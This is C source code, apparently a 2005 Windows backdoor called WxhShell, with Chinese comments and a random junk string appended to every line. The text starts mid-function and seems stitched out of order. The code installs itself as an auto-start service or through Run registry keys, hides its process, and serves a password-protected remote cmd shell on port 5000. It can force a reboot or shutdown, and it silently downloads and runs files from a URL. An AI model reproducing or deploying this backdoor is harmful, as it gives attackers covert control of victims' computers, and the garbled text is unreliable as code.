    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SLSF <$  
    if(Boot(SHUTDOWN)) GL/  KB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /a%*u6z@  
    else { 9QX4R<"wUg  
    closesocket(wsh); l#Yx TY  
    ExitThread(0); DK)u)?!  
    } Fl<(m  
    break; K~USK?Q%  
    } CP +4k.)*O  
  // 获取shell Wt(Kd5k0'2  
  case 's': { ?;Un#6b  
    CmdShell(wsh); -zprNQW  
    closesocket(wsh); R3$@N  
    ExitThread(0); .Nc_n5D6  
    break; Pow|:Lau!  
  } rWJ*e Y  
  // 退出 \kxh#{$z?  
  case 'x': { TNx_Rc}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \F[n`C"Is  
    CloseIt(wsh); ?k"0w)8  
    break; T\jAk+$Jo  
    } mIRAS"Q!m  
  // 离开 C}9Kx }q  
  case 'q': { &uPDZ#C-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dnix:'D1  
    closesocket(wsh); 6zuze0ud  
    WSACleanup(); Hv3W{|  
    exit(1); (e(Rr 4  
    break; )R~a;?T_c0  
        } 2@fa rx:  
  } cu<y8 :U<  
  } O5O.><RP  
ikr7DBLt  
  // 提示信息 XYts8}y5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "i&fp:E0  
} |IAW{_9)U  
  } )PwQ^||{  
+uELTHH=  
  return; /0 _zXQyV  
} ^eobp.U  
|Hfl&3  
// shell模块句柄 =C#*!N73  
int CmdShell(SOCKET sock) G&jZ\IV  
{ a/34WFC  
STARTUPINFO si; 9T$u+GX'  
ZeroMemory(&si,sizeof(si)); V#NtBreN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ER_ 3'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  b)Tl*  
PROCESS_INFORMATION ProcessInfo; VxkEez'|  
char cmdline[]="cmd"; |e:rYLxm:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ly[lrD0Kn.  
  return 0; AO $Wy@  
} /,X7.t_-  
SAy{YOLtl  
// 自身启动模式 v[VC2D  
int StartFromService(void) \KCWYi]  
{ z#RuwB+  
typedef struct 2qlIy  
{ { a. <`  
  DWORD ExitStatus; {gw [%[ZM  
  DWORD PebBaseAddress; pD[pTMG@$  
  DWORD AffinityMask; QhsVIta  
  DWORD BasePriority; } YRO'Q{  
  ULONG UniqueProcessId; rfc|`*m}0  
  ULONG InheritedFromUniqueProcessId; K>$qun?5  
}   PROCESS_BASIC_INFORMATION; lQWBCJ8y  
u (AA`S"  
PROCNTQSIP NtQueryInformationProcess; ^iuo^2+  
cN5"i0xk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wh*:\_!0\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZL,6_L/  
t|_{;!^  
  HANDLE             hProcess; FD))'!>  
  PROCESS_BASIC_INFORMATION pbi; 94y9W#  
6P^hN%0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [8TS"ph>  
  if(NULL == hInst ) return 0; B 2Z0  
~TM>"eBb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'mJ13  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5/,Qz>QE[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &y\igX1  
n>S2}y  
  if (!NtQueryInformationProcess) return 0; bM^7g  
~3d*b8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g8'~e{= (  
  if(!hProcess) return 0; 3 1k  
>4M<W4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >MPa38  
*{4 ETr7  
  CloseHandle(hProcess); bJPJ.+G7  
6#vI;d[^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ` jyKCm.$#  
if(hProcess==NULL) return 0; &//2eL  
;t!9]1  
HMODULE hMod; >8(jW  
char procName[255]; 'B,KFA<  
unsigned long cbNeeded; {"t5\U6cKM  
h\FwgkJP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8O9Gs  
J)Ol"LXV  
  CloseHandle(hProcess); >uHb ^  
{!r#f(?uT  
if(strstr(procName,"services")) return 1; // 以服务启动 W"t"X ~T3  
%4/xH 9  
  return 0; // 注册表启动 JRo;(wqZ  
} Bq;1^gtpe  
+|0 t  
// 主模块 >: $"a  
int StartWxhshell(LPSTR lpCmdLine) x;(g  
{ lC4PKm no  
  SOCKET wsl; *Dc@CmBr  
BOOL val=TRUE; YD9!=a$  
  int port=0; X.eB ;w/}  
  struct sockaddr_in door; e5 3,Rqi)@  
O J>iq@ >  
  if(wscfg.ws_autoins) Install(); WN\PX!K9  
6+e4<sy[E  
port=atoi(lpCmdLine); {Zl4C;c  
tgB=vIw?3  
if(port<=0) port=wscfg.ws_port; +99Bi2H}o  
QtlT&|$   
  WSADATA data; R>HY:-2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }1@E"6kF  
^cn@?k((A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #a'r_K=ch)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sG1BNb_  
  door.sin_family = AF_INET; 6KO(j/Gwp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mV;3ILO  
  door.sin_port = htons(port); abSq2*5K  
[T]Bfo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5*+I M*c  
closesocket(wsl); gyFr"9';c  
return 1; G B&:G V  
} aj v}JV&:  
tah }^  
  if(listen(wsl,2) == INVALID_SOCKET) { .1{l[[= W  
closesocket(wsl); R;'?;I  
return 1; )qd= {  
} CIy^`2wq  
  Wxhshell(wsl); C`EY5"N r  
  WSACleanup(); GW8CaTf~  
2LZS|fB9o  
return 0; q5?{ 1  
]5)"gL%H`  
} .<.#aY;N  
cmIT$?J  
// 以NT服务方式启动 WGMb8 /{$P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s`1^*Dl%+  
{ u>}zm_  
DWORD   status = 0; t)'dF*L  
  DWORD   specificError = 0xfffffff; .pW o>`"  
 Fs)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qRl/Sl#F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4m\([EO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DJ|BM+  
  serviceStatus.dwWin32ExitCode     = 0; *m&%vj.Kc  
  serviceStatus.dwServiceSpecificExitCode = 0; > Y ] _K  
  serviceStatus.dwCheckPoint       = 0; `)2[ST  
  serviceStatus.dwWaitHint       = 0; oLw|uU-|  
gmDR{loX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +4HlRGH  
  if (hServiceStatusHandle==0) return; 5us^B8Q  
Kr]W o8dWy  
status = GetLastError(); x{?sn  
  if (status!=NO_ERROR) !t% Q{`p  
{ qK,V$l(4#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1!1DuQ  
    serviceStatus.dwCheckPoint       = 0; = hhvmo  
    serviceStatus.dwWaitHint       = 0; ,2_w=<hq  
    serviceStatus.dwWin32ExitCode     = status; F9O`HFVK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4|=vxJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wE4;Rk1  
    return; vcM~i^24)  
  } %l;*I?0H  
gCL{Cw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <r3Jf}%tT  
  serviceStatus.dwCheckPoint       = 0; W #47Cz  
  serviceStatus.dwWaitHint       = 0; y+RRg[6|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 69iM0X!'u  
} ftaBilkjp  
:G0+;[?N  
// 处理NT服务事件,比如:启动、停止 fyrd `R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (7L/eDMT  
{ cd+^=esSO  
switch(fdwControl) 0-GKu d  
{ {(!)P  
case SERVICE_CONTROL_STOP: Pt(tRHB  
  serviceStatus.dwWin32ExitCode = 0; 3>M.]w6{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }7Jp :.qk  
  serviceStatus.dwCheckPoint   = 0; 5;(0 $4I  
  serviceStatus.dwWaitHint     = 0; W }Zb~[,  
  { gw J}]Tf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (V)9s\Le_  
  } 7IQqN&J  
  return; # \<P]<C  
case SERVICE_CONTROL_PAUSE: u uSHCp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mt I MW9  
  break; 0Nt%YP  
case SERVICE_CONTROL_CONTINUE: .*:h9AE7vo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |,{+;:  
  break; PqI![KxZW  
case SERVICE_CONTROL_INTERROGATE: %z2oDAjX  
  break; RQ|?Ce",  
}; 6&mWIk^VC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8yvJ`eL-  
} *0\k Z,#BJ  
i(P>Y2s  
// 标准应用程序主函数 H) cQO?B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *#6|!%?g  
{ 2^J/6R$  
Y&:/~&'  
// 获取操作系统版本 ^Eu_NUFe  
OsIsNt=GetOsVer(); 5!8-)J-H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [WYJrk.  
F  "!`X#  
  // 从命令行安装 RPY 6Wh| 4  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bd8hJA  
nSS}%&a:LX  
  // 下载执行文件 GRy4cb2  
if(wscfg.ws_downexe) { 0f{IE@-b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C[g&F 0 6  
  WinExec(wscfg.ws_filenam,SW_HIDE); soDfi-2o3  
} Yx!n*+:J  
7> )l{7  
if(!OsIsNt) { jOtzx"/)rE  
// 如果时win9x,隐藏进程并且设置为注册表启动 dX 0x Kk%#  
HideProc(); 0S_Ra+e  
StartWxhshell(lpCmdLine); K)Ge  
} GajI\_o  
else h~:H?pj3g  
  if(StartFromService()) [&Lxz~W][  
  // 以服务方式启动 L PMb0F}"5  
  StartServiceCtrlDispatcher(DispatchTable); GV=V^Fl .  
else %![4d;Z%x  
  // 普通方式启动 f!(cD80  
  StartWxhshell(lpCmdLine); Q6xgLx[  
;=#qHo9k1%  
return 0; ${e -ffyy  
} /%;/pi  
$sM]BE:  
XGL"gD   
aK-N}T  
=========================================== eZ[#+0J  
iKY-;YK  
=qan%=0"h  
Of!|,2`(  
7;~ 2e  
~;` fC|)  
" f&f[La  
wH#Lb@cfZ0  
#include <stdio.h> JLt{f=`%F  
#include <string.h> L-SdQTx_  
#include <windows.h> ]2g5Ka[>w  
#include <winsock2.h> X9SJ~n  
#include <winsvc.h> aL{EkiR  
#include <urlmon.h> Xp.|.)Od  
Y*"<@?n8?x  
#pragma comment (lib, "Ws2_32.lib") D=<t;+|  
#pragma comment (lib, "urlmon.lib") qgh]@JJh  
dnk1Mu<  
#define MAX_USER   100 // 最大客户端连接数 {XyG1  
#define BUF_SOCK   200 // sock buffer dr}O+7_7%-  
#define KEY_BUFF   255 // 输入 buffer ud 5x$`  
r*xq(\v  
#define REBOOT     0   // 重启 S|tA[klh  
#define SHUTDOWN   1   // 关机 l8eT{!4  
zC[i <'h!T  
#define DEF_PORT   5000 // 监听端口 ^BQ>vI'.4  
>Y44{D\`  
#define REG_LEN     16   // 注册表键长度 zv>ZrFl*  
#define SVC_LEN     80   // NT服务名长度 Z5 w`-#  
zp}yiE!bl  
// 从dll定义API 4{c`g$j>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M,I68  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l[:^TfB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jD$;q7fB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |P^ikx6f5  
zaQ$ Ht  
// wxhshell配置信息 3~#ZE;>#  
struct WSCFG { G;87in ,}  
  int ws_port;         // 监听端口 2nVuz9h  
  char ws_passstr[REG_LEN]; // 口令 9(V=Ubj  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ey 0>L  
  char ws_regname[REG_LEN]; // 注册表键名 hn*}5!^  
  char ws_svcname[REG_LEN]; // 服务名 ':9%3Wq]j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @w+WLeJ$40  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  eYPt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /2=_B4E2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f'8B[&@L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i+kFL$N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "0p +SZ~D  
HE8'N=0  
}; *)2x&~T*|  
qQ3 ]E][/  
// default Wxhshell configuration g9RzzE!  
struct WSCFG wscfg={DEF_PORT, Djg 1Qh  
    "xuhuanlingzhe", |E>v~qD8I  
    1, {b\Y?t^>f  
    "Wxhshell", P TfN+  
    "Wxhshell", e<&_tx   
            "WxhShell Service", ? Yynd  
    "Wrsky Windows CmdShell Service", /r #b  
    "Please Input Your Password: ", 7R% PVgS4x  
  1, $sB48LJuU'  
  "http://www.wrsky.com/wxhshell.exe", My`josJ`Pb  
  "Wxhshell.exe" $fq-wl-=  
    }; :Q0?ub]  
(Q*2dd>  
// 消息定义模块 LbLbJ{68  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T +|J19  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >"2\D|-/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S}XB |  
char *msg_ws_ext="\n\rExit."; 1t} (+NNjH  
char *msg_ws_end="\n\rQuit."; E1mI Xd;.  
char *msg_ws_boot="\n\rReboot..."; BZnp #}f  
char *msg_ws_poff="\n\rShutdown..."; N> uZt2  
char *msg_ws_down="\n\rSave to "; Jv '3](  
Fj4l %=  
char *msg_ws_err="\n\rErr!"; 8=!r nJCav  
char *msg_ws_ok="\n\rOK!"; 0%(4G83gw  
P"[ifs p  
char ExeFile[MAX_PATH]; )j)y5_m  
int nUser = 0; j};pv2  
HANDLE handles[MAX_USER]; 8VBkIYgb  
int OsIsNt; v)v{QNQp^  
]DL> .<]d  
SERVICE_STATUS       serviceStatus; ,Jw\3T1V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *;V2_fWJ@  
3\+[38 _  
// 函数声明 VdjU2d  
int Install(void); ;'Z,[a  
int Uninstall(void); Q9Xm b2LN  
int DownloadFile(char *sURL, SOCKET wsh); ]e#,\})Br  
int Boot(int flag); \6nQ-S_  
void HideProc(void); -Lz1#Sk]A  
int GetOsVer(void); Z]1z*dv  
int Wxhshell(SOCKET wsl); A1=$kzw{UH  
void TalkWithClient(void *cs); sk%:Sp  
int CmdShell(SOCKET sock); !$ J)  
int StartFromService(void); wAj(v6  
int StartWxhshell(LPSTR lpCmdLine); ps{&WT3a  
PEwW*4Xo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t6H2tP\AS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^| a&%wxA  
_z_3%N  
// 数据结构和表定义 s`$_  
SERVICE_TABLE_ENTRY DispatchTable[] = R+@sHsZ@  
{ qU /Wg  
{wscfg.ws_svcname, NTServiceMain}, O #p)~V8~  
{NULL, NULL} %yS`C"ZQ)  
}; [h2p8i 'o  
" N`V*0h  
// 自我安装 %3@RZe  
int Install(void) >k&lGF<nl  
{ eW }jS/g`  
  char svExeFile[MAX_PATH]; JXI+k.fi  
  HKEY key; ~$TE  
  strcpy(svExeFile,ExeFile); gw}7%U`T9  
"cz]bCr8  
// 如果是win9x系统,修改注册表设为自启动 ^0BF2&Zx  
if(!OsIsNt) { jT wM<?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L;(3u'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <|>:UGAR  
  RegCloseKey(key); sL[(cX?;2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j_YZ(: =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5D02%U2N)G  
  RegCloseKey(key); B2Awdw3=g  
  return 0; )4o=t.O\K  
    } ,:Rq  
  } 6lH>600]u  
} @Tm0T7C  
else { EssUyF-jwU  
-$!Pf$l@  
// 如果是NT以上系统,安装为系统服务 \Vhp B   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ah&plaVzC  
if (schSCManager!=0) "351s3ff  
{ ]a Ma*fF  
  SC_HANDLE schService = CreateService N%M>,wT  
  ( BzG!Rg|J  
  schSCManager, `- uZv  
  wscfg.ws_svcname, (^@;`8Dy8  
  wscfg.ws_svcdisp, 3\U,Kg  
  SERVICE_ALL_ACCESS, ?U.&7yY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bbe/w#Z  
  SERVICE_AUTO_START, N4GIb 6  
  SERVICE_ERROR_NORMAL, uzn))/"  
  svExeFile, /EAQ.vxI  
  NULL, N6 }i>";_;  
  NULL, kI1{>vYD  
  NULL, vG Lb2Q  
  NULL, #.t$A9'  
  NULL ^Ihdq89t  
  ); JcALFKLB  
  if (schService!=0) URzE+8m^  
  { fN? Lz%z3  
  CloseServiceHandle(schService); =ym~= S  
  CloseServiceHandle(schSCManager); .qU%SmQ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pt)}HF|u  
  strcat(svExeFile,wscfg.ws_svcname); kHIQ/\3?Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [ QL<&:s&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G QB^  
  RegCloseKey(key); HI`A;G]  
  return 0; d-S'y-V?d  
    } sB1tce  
  } PFn[[~5V  
  CloseServiceHandle(schSCManager); 6s"bstc{  
} @BQB NGR1  
} JMe[ .S x  
fm2Mi~}0  
return 1; 4sD:J-c  
} +M%2m3.Jo  
!v;_@iW3e  
// 自我卸载 @^4M~F%  
int Uninstall(void) (R 2P< Zr  
{ DDCQAf  
  HKEY key; LkbvA  
^DCv-R+ p  
if(!OsIsNt) { Oj|p`Dzh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PHL@1K{)  
  RegDeleteValue(key,wscfg.ws_regname); CzsY=DBH=  
  RegCloseKey(key); Dp |FyP_w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EQ`t:jc {  
  RegDeleteValue(key,wscfg.ws_regname); aiX;D/t?  
  RegCloseKey(key); DO,&Foh\  
  return 0; S/:QVs  
  } e ~,'|~ C5  
}  eJ\j{-  
} &^D@(m7>{K  
else { ~E|V{z%  
G78j$ ^/0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EYD{8Fw-  
if (schSCManager!=0) fvfVBk#  
{ o 0 #]EMr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U$JIF/MO_  
  if (schService!=0) -$|X\#R  
  { T-8nUo}i  
  if(DeleteService(schService)!=0) { DczF0Ow  
  CloseServiceHandle(schService); ]mT} \b  
  CloseServiceHandle(schSCManager); B]}V$*$ \?  
  return 0; M4PUJZ]  
  } KcF+!;:  
  CloseServiceHandle(schService); Q3{&'|}^2  
  } e(% Solkm?  
  CloseServiceHandle(schSCManager); 1Moh`  
} o-Fle, qf  
} xi^e =:;`  
/+U)!$zm*  
return 1; (eE}W~Z  
} ' 1]bjW*!  
#]/T9:  
// 从指定url下载文件 [MP :Eeg  
int DownloadFile(char *sURL, SOCKET wsh) 1e| M6*  
{ g*imswj7  
  HRESULT hr; R2ZQBwB  
char seps[]= "/"; AFJY!ou~6  
char *token; IGV.0l  
char *file; 1>{-wL4rc  
char myURL[MAX_PATH]; __%E!*m"<_  
char myFILE[MAX_PATH]; \k-juF80  
iC2nHZ*,  
strcpy(myURL,sURL); z(68^-V=:  
  token=strtok(myURL,seps); Ui;s.f  
  while(token!=NULL) {Y TF]J $  
  { kU>|E<c*  
    file=token; trt\PP:H%  
  token=strtok(NULL,seps); zFQkUgb  
  } Y rnqi-P  
|^{" 2l"j  
GetCurrentDirectory(MAX_PATH,myFILE); u(`A?H:  
strcat(myFILE, "\\"); l#.,wOO{  
strcat(myFILE, file); RteTz_ z{  
  send(wsh,myFILE,strlen(myFILE),0); |Cq J2  
send(wsh,"...",3,0);  M.^A`   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `bF;Ew;  
  if(hr==S_OK) =_6h{f&Q  
return 0; &bK$!8Z  
else rM.<Gi05Qe  
return 1; cHct|Z u  
)Dpt<}}\  
} 3(p6ak2lv  
Q8:ocEhR  
// 系统电源模块 o_m.MMEU  
int Boot(int flag) x}j41E}  
{ ^i1:PlW]  
  HANDLE hToken; dph6aN(49  
  TOKEN_PRIVILEGES tkp; k(+u"T  
TBT*j&!L  
  if(OsIsNt) { WfO$q^'?DP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CxQ,yd;>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Khd,|pM  
    tkp.PrivilegeCount = 1; Pk_{{Z(1o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J :(\o=5 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FWN%JCOj@  
if(flag==REBOOT) { <ft9B05*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [&V%rhi  
  return 0; xhS/X3<th  
} ENjD~S  
else { uelTsn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EIm\!'R]  
  return 0; R?SHXJ%'  
} cLP @0`^H  
  } AE _~DZ:%c  
  else { 1 to<at-NN  
if(flag==REBOOT) { >L4$DKO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r!iuwE@  
  return 0; giJyMd}x  
} RVx<2,['  
else { k<qH<<r*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j-|0&X1C  
  return 0; zSCPp6  
} !YHu  
} ZW%`G@d"H-  
"ukbqdKD  
return 1; D*,H%xA  
} HArYL} l  
o-= lHtR  
// win9x进程隐藏模块 B35f 5m7r  
void HideProc(void) >FNt*tX<0  
{ }iAi`_\0;  
~T9[\nU\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); it vdzPO  
  if ( hKernel != NULL ) a| cD{d  
  { >YhqL62!a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .#|pje^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wv-8\)oA  
    FreeLibrary(hKernel); UkV] F]  
  } `<d>C}9  
UMaKvr-C&  
return; KW<CU'  
} Um<vsR  
s'I$yJ)@2E  
// 获取操作系统版本 4[q * 7m  
int GetOsVer(void) v g]&T  
{ p6)UR~9Rs  
  OSVERSIONINFO winfo; p<e~x/@m*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A[bxxQSP\H  
  GetVersionEx(&winfo); %-CC_R|0$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A>puk2s  
  return 1; oMbCljUC  
  else rg~CF<  
  return 0; Xv:IbM> Qc  
} wBET.l'd  
H_FhHX.2(  
// 客户端句柄模块 sTz*tSwQv  
int Wxhshell(SOCKET wsl) k_B^2=  
{ k~ue^^r}  
  SOCKET wsh; %?jf.p*kY  
  struct sockaddr_in client; kz^G.5n   
  DWORD myID; rge/jE,^~Z  
ND>}t#^$  
  while(nUser<MAX_USER) gP@ni$n  
{ +|;IIwo  
  int nSize=sizeof(client); 4KnDXQ%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,+&j/0U  
  if(wsh==INVALID_SOCKET) return 1; rpmDr7G  
DV l: s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X c^~|%+  
if(handles[nUser]==0)  Eqc$*=  
  closesocket(wsh); Jk*MxlA.b  
else 9':$!Eoq  
  nUser++; T2{+fR v N  
  } KX`,7-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e j9G[  
|.A>0-']M  
  return 0; ?H&p zY~H  
} `O/)q^m1L  
L/I-(08!Y:  
// 关闭 socket 0bE_iu>f'  
void CloseIt(SOCKET wsh) _f`m/l  
{ nq=fSK(  
closesocket(wsh); >. Y ~F(  
nUser--; )[1m$>  
ExitThread(0); /L.a:Er$  
} F@BNSs N=  
-)@.D>HsOt  
// 客户端请求句柄 6D],275`J  
void TalkWithClient(void *cs) $m>e!P>%u  
{ UL/>t}AG  
P7b2I=t  
  SOCKET wsh=(SOCKET)cs; ,o)MiR9-[A  
  char pwd[SVC_LEN]; ,n*.Yq  
  char cmd[KEY_BUFF]; 5kF5`5+Vj  
char chr[1]; _*9Zp1r  
int i,j; !NCT) #G`  
M<"D!h9YP  
  while (nUser < MAX_USER) { l- l}xBf  
B.?yHaMI[  
if(wscfg.ws_passstr) { iJi|*P5dw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m_B5M0},  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IjNm/${$  
  //ZeroMemory(pwd,KEY_BUFF); W5p}oN  
      i=0; ;IT^SHym  
  while(i<SVC_LEN) { #d~"bn q;c  
zkMQ= ,[  
  // 设置超时 m"*:XfOL  
  fd_set FdRead; RY'y%6Z]ZO  
  struct timeval TimeOut; R|suBF3  
  FD_ZERO(&FdRead); jhLh~. 8  
  FD_SET(wsh,&FdRead); D&shrKFx  
  TimeOut.tv_sec=8; m{*l6`dF  
  TimeOut.tv_usec=0; VxCH}&!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9c6=[3)V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,J|};s+  
NQAnvX;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sCUPa-cHF  
  pwd=chr[0]; gJ])A7O  
  if(chr[0]==0xd || chr[0]==0xa) { +K?h]v]%  
  pwd=0; ')BQ 0sg  
  break; so7;h$h!H  
  } ld $`5!Z  
  i++; W.a/k7 p  
    } L6a8%%`  
Q%7EC>V  
  // 如果是非法用户,关闭 socket 4M _83WL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $3L7R  
} 3X:F9x>y  
=N=,;<6%A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G<-.{Gx)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z8 T{Xw6%  
0pR04"`;  
while(1) { gvC2\k{  
-4Xr5j%o  
  ZeroMemory(cmd,KEY_BUFF);  lcr=^  
)oj`K,#  
      // 自动支持客户端 telnet标准   <n>< A+D  
  j=0; M(|gfsD  
  while(j<KEY_BUFF) { AKpux,@xB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s+[=nau('w  
  cmd[j]=chr[0]; {t 7 M  
  if(chr[0]==0xa || chr[0]==0xd) { `9ieTt  
  cmd[j]=0; p})&Zl)V  
  break; 9qpH 8j+  
  } m[}$&i$(  
  j++; R9W(MLe58  
    } 7@sWT<P  
<ESAoY"RPN  
  // 下载文件 4Mprc~ 7vr  
  if(strstr(cmd,"http://")) { 3 !,%;Vz=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {\V)bizY;  
  if(DownloadFile(cmd,wsh)) DirWe  
